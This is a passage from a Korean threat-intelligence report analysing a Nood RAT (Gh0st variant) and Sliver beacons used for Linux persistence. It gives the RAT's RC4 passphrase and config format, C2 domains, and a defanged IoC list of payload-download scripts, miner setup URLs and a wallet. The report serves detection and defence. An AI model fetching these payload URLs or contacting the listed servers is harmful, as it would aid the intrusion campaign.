nohup..." nohup "$BINARY_PATH" $ARGS >/dev/null 2>&1 & fi
JavaScript
복사

3.4. Persistance (RAT, Sliver)

1) RAT (SHA256: 33641bfbbdd5a9cd2320c61f65fe446a2226d8a48e3bd3c29e8f916f0592575f)

최초 실행 시 동적 분석 방해 목적으로 daemon 함수를 실행한 이후 메인 함수를 실행
sub_404568() : 프로세스 명 복호화 및 프로세스 재실행
sub_404415() : 프로세스 재실행 후 RAT 기능 활성화를 위한 로직 포함
기본적으로 RC4 암호화를 사용하며 (Passphrase : r0st@#$) 미리 내장된 데이터를 복호화하여 위장 프로세스 명인 writeback를 메모리에 저장
RC4 복호화 로직
RC4 암호화된 데이터 복호화 결과
실제 악성코드 실행 이후 ps -ef 명령어 결과
해당 악성코드는 Gh0st RAT 변종인 Nood RAT 악성코드로 확인되며 설정 파일을 RC4 암호화하여 저장(패스워드 동일)
설정파일 형식 : “C&C_Server_1″;”C&C_Server_2″|”Mon”;”Tue”;”Wed”;”Thu”;”Fri”;”Sat”;”Sun”;|”Time”;|”Interval(Min)”
C&C_Server_1
요일
시간
간격
vip[.]kof97.lol:443
월~일 모두 사용 (1;1;1;1;1;1;1;)
00~24시 전체(00-24;)
1분마다
메모리에서 확인되는 설정파일 데이터
RC4 암호화된 설정파일을 복호화한 결과
로그인 배너 문자열, x86_64 아키텍처 사용 여부, hostname, NIC 이름을 확보 후 C2로 전달하며 후속 명령 발생 시 처리하는 것으로 확인
C2와 초기 연결 시 전달할 데이터 수집 시도

2) Sliver Framework

Sliver Framework는 Go언어 기반으로 작성된 오픈소스 도구로 공격에 사용된 파일은 Beacon 파일로 C2와 연결 성공 시 명령을 전달받아 수행하는 악성코드로 확인
Cobalt Strike와 유사한 Red-Team 침투 테스트 도구로 Cobalt Strike Beacon의 탐지율이 높아짐에 따라 대안으로 주로 사용
SHA256
Info
C2
8fee14142577734282aa1f53ea2e5cddaf4a588de40e7b179b13855330077b96
ELF 64-bit LSB executable
mtls://keep[.]camdvr.org:60010
cb5524b6605af240a7385f8f875c6af0b5009d5bcba4a3cc7c3e399057c7c644
ELF 64-bit LSB executable
mtls://keep[.]camdvr.org:60002
2cd41569e8698403340412936b653200005c59f2ff3d39d203f433adb2687e7f
ELF 64-bit LSB executable
mtls://keep[.]camdvr.org:60005
최초 실행 시 CPU 정보를 확보하여 Intel CPU를 사용중인지 검증하며 가상환경을 사용하는 경우 프로세스 강제종료 진행
가상환경 여부 검증 로직
공격자가 설계한 Sliver C&C 서버와의 통신에 mTLS 프로토콜을 사용하며 C&C 서버 주소를 포함한 복호화 된 설정 데이터 확인
mTLS(Mutual TLS) :  상호 인증을 위한 프로토콜로 네트워크 연결 시작 시 송신자/수신자가 올바른 개인 키를 가지고 있는지 확인하여 통신 연결을 시작하는 방식
Sliver Framework의 경우 오픈소스로 제작되어 GitHub에 소스코드가 공개되어 있으며 GitHub 페이지 내용 중 사용 가능한 기능 공개
1.6 버전 기준 사용 가능한 기능 (일부)
Staged 또는 Stageless payload 생성
프로세스 및 파일 작업
mTLS, WireGuard, HTTP(S) 및 DNS 기반 통신 지원
명령 실행
TCP 및 named pipe pivots
파일 업로드/다운로드
JavaScript/TypeScript 또는 Python 기반 스크립팅 지원
스크린샷 캡쳐
Compile과 동시에 코드 난독화
권한 상승
동적 코드 생성
프로세스 메모리 덤프

04. IoC, Indicator of Compromise

NO
Type
DATA
Info
1
SHA256
0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce
2
SHA256
a455731133c00fdd2a141bdfba4def34ae58195126f762cdf951056b0ef161d4
3
SHA256
4a759cbc219bcb3a1f8380a959307b39873fb36a9afd0d57ba0736ad7a02763b
4
SHA256
1663d98c259001f1b03f82d0c5bee7cfd3c7623ccb83759c994f9ab845939665
5
SHA256
18c68a982f91f665effe769f663c51cb0567ea2bfc7fab6a1a40d4fe50fc382b
6
SHA256
1a3e7b4ee2b2858dbac2d73dd1c52b1ea1d69c6ebb24cc434d1e15e43325b74e
7
SHA256
1cdd9b0434eb5b06173c7516f99a832dc4614ac10dda171c8eed3272a5e63d20
8
SHA256
1e31dc074a4ea7f400cb969ea80e8855b5e7486660aab415da17591bc284ac5b
9
SHA256
2b0dc27f035ba1417990a21dafb361e083e4ed94a75a1c49dc45690ecf463de4
10
SHA256
2ca913556efd6c45109fd8358edb18d22a10fb6a36c1ab7b2df7594cd5b0adbc
11
SHA256
4ff096fbea443778fec6f960bf2b9c84da121e6d63e189aebaaa6397d9aac948
12
SHA256
55ae00bc8482afd085fd128965b108cca4adb5a3a8a0ee2957d76f33edd5a864
13
SHA256
62e9a01307bcf85cdaeecafd6efb5be72a622c43a10f06d6d6d3b566b072228d
14
SHA256
7d25a97be42b357adcc6d7f56ab01111378a3190134aa788b1f04336eb924b53
15
SHA256
7f05bad031d22c2bb4352bf0b6b9ee2ca064a4c0e11a317e6fedc694de37737a
16
SHA256
9c931f7f7d511108263b0a75f7b9fcbbf9fd67ebcc7cd2e5dcd1266b75053624
17
SHA256
ac2182dfbf56d58b4d63cde3ad6e7a52fed54e52959e4c82d6fc999f20f8d693
18
SHA256
ac7027f30514d0c00d9e8b379b5ad8150c9827c827dc7ee54d906fc2585b6bf6
19
SHA256
b38ec4c803a2d84277d9c598bfa5434fb8561ddad0ec38da6f9b8ece8104d787
20
SHA256
bc31561c44a36e1305692d0af673bc5406f4a5bb2c3f2ffdb613c09b4e80fa9f
21
SHA256
bf602b11d99e815e26c88a3a47eb63997d43db8b8c60db06d6fbddf386fd8c4a
22
SHA256
d704541cde64a3eef5c4f80d0d7f96dc96bae8083804c930111024b274557b16
23
SHA256
d9313f949af339ed9fafb12374600e66b870961eeb9b2b0d4a3172fd1aa34ed0
24
SHA256
e2d7c8491436411474cef5d3b51116ddecfee68bab1e15081752a54772559879
25
SHA256
ebdb85704b2e7ced3673b12c6f3687bc0177a7b1b3caef110213cc93a75da837
26
SHA256
f88ce150345787dd1bcfbc301350033404e32273c9a140f22da80810e3a3f6ea
27
SHA256
fc9e53675e315edeea2292069c3fbc91337c972c936ca0f535da01760814b125
28
SHA256
33641bfbbdd5a9cd2320c61f65fe446a2226d8a48e3bd3c29e8f916f0592575f
29
SHA256
5360c10dedbec8da96d79840feda84fca927356e93f65e3752c1c9f621daf64b
30
SHA256
a26c70f34d35f78f0b95bf402d513f69e196720576d9115dba0efdb4c57deb81
31
SHA256
ca77dbfa81abe6afabb417b003e1733f685b9a551b63f492e86e18d3a521b1a6
32
SHA256
b9df31875df5761c9b7506c5c8323f13ead8e033f9fdc922422b045e17e0d5e2
33
SHA256
7c2d9c6ae9c811c62e67a6279fec0b68047a031eae674d3d5f9279a4ec7e8a25
34
SHA256
d2263684cfb35bae31de108f5edebdf35cccf21eb8e315a28b39952fae50b3a9
35
SHA256
d033d0e44b4f4be7ca3b8d063ea95699d1c894896ef912bf52c2296bc73f8838
36
SHA256
9352e1c12dcef49e916053d5f97fe9913e083eab44c50d1d976bf50ce1e727d9
37
SHA256
8fee14142577734282aa1f53ea2e5cddaf4a588de40e7b179b13855330077b96
38
SHA256
cb5524b6605af240a7385f8f875c6af0b5009d5bcba4a3cc7c3e399057c7c644
39
SHA256
2cd41569e8698403340412936b653200005c59f2ff3d39d203f433adb2687e7f
40
SHA256
6957c6d7f21f698d5ce6734dc00aeddc317d5875c3fd16b8b4a54259e02c46c5
41
SHA256
13675cca4674a8f9a8fabe4f9df4ae0ae9ef11986dd1dcc6a896912c7d527274
42
SHA256
a754ec3310ebbb61f2efbd52611c7cbc0a06af7ac998d46e176fa19461288460
43
SHA256
b67221d6057a2a08bd19cdebf22e6d5557a8794463413e6fc128c7ec15a41415
44
SHA256
29e27520790febaed737cdd56cc7f8df8b4b9d3e05ea012ccd1d8e2b51cd5ad4
45
IP
115[.]42.60.223
46
IP
140[.]99.223.178
47
IP
156[.]234.209.103
48
IP
38[.]162.112.141
49
IP
45[.]32.158.54
50
IP
46[.]36.37.85
51
IP
47[.]84.79.46
52
IP
95[.]169.180.135
53
IP
45[.]134.174.235/2.sh
54
IP
45[.]134.174.235/solra
55
IP
45[.]76.155.14
56
Domain
hxxps://api[.]qtss.cc:443/en/about?source=redhat&id=v1.0
57
Domain
hxxps://api[.]qtss.cc:443/en/about?source=redhat&id=v1.1
58
Domain
hxxps://api[.]qtss.cc:443/en/about?source=redhat&id=v1.21136868377216160297393798828125
59
Domain
http://45[.]76.155.14/vim
60
Domain
hxxp://46[.]36.37.85:12000/sex.sh
61
Domain
hxxp://115[.]42.60.223:61236/slt
62
Domain
hxxp://45[.]32.158.54/5e51aff54626ef7f/x86_64
63
Domain
hxxp://115[.]42.60.223:61236/slt
64
Domain
hxxp://156[.]234.209.103:20912/get.sh
65
Domain
hxxp://156[.]234.209.103:20913/get.sh
66
Domain
hxxp://45[.]32.158.54/5e51aff54626ef7f/x86_64
67
Domain
hxxp://46[.]36.37.85:12000/sex.sh
68
Domain
hxxp://95[.]169.180.135:8443/pamssod
69
Domain
hxxp://res[.]qiqigece.top/nginx1
70
Domain
hxxp://146[.]88.129.138:5511/443nb64
71
Domain
hxxps://raw[.]githubusercontent.com/C3Pool/xmrig_setup/master/setup_c3pool_miner.sh
72
Domain
hxxps://sup001[.]oss-cn-hongkong.aliyuncs.com/123/python1.sh
73
Domain
reactcdn[.]windowserrorapis.com
74
Domain
res[.]qiqigece.top
75
Domain
vip.kof97.lol:443
76
Domain
http://inerna1[.]site
77
Domain
http://anywherehost[.]site/
78
Domain
http://47[.]84.82.8/upload
79
Domain
http://8[.]222.213.56/upload
80
Domain
keep[.]camdvr.org
81
Wallet
88tGYBwhWNzGesQs5QkwE1PdBa1tXGb9dcjxrdwujU3SEs3i7psaoJc4KmrDvv4VPTNtXazDWGkvGGfqurdBggvPEhZ43DJ

05. 참고자료

IGLOO Corp. 2025. All rights reserved.